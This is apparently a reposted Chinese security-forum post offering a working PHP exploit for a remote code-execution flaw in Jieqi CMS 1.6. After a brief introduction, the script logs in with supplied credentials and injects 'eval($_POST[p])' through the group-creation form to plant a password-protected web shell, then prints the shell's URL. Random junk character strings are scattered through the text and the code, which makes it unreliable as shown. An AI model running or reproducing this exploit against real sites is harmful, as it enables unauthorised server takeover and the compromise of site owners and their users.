Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


$ r  S0 |2 ?' j: H8 U该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
! x% s$ q, e: a$ S$ W. a1 w
<?php
# R2 ~2 M( `1 X7 K- {
print_r('
  R. E+ J6 |' }3 i4 \+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
, D5 M( |7 C. q* _5 ~. @by flyh4t
mail: phpsec at hotmail dot com
3 |) X, F+ L- f( Ateam: http://www.wolvez.org
( F. |1 [- }# H* U+---------------------------------------------------------------------------+
! q% I1 ^+ o( o  ~6 U( O'); /**
$ B6 E' X3 M* f: L" g" v * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
7 x/ U  j  U- E( V4 MExample:
' `8 F' k4 W; {8 `- Sphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
$ M9 i+ N0 A% B& r7 ?2 Y'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
# i* Q" r- c) m1 B7 }! b
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
0 k) ~+ T0 p  m# b7 i/ p1 ]-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

1
+ O5 r, @6 C* g4 Z( J& D-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
" S! e4 s3 v  ~& ]0 c- }+ z5 b3 J7 R-----------------------------23281168279961--
/ G8 ^  \1 ]6 O'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

: G% Z0 o% E' r* \9 V# Y( K, lpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;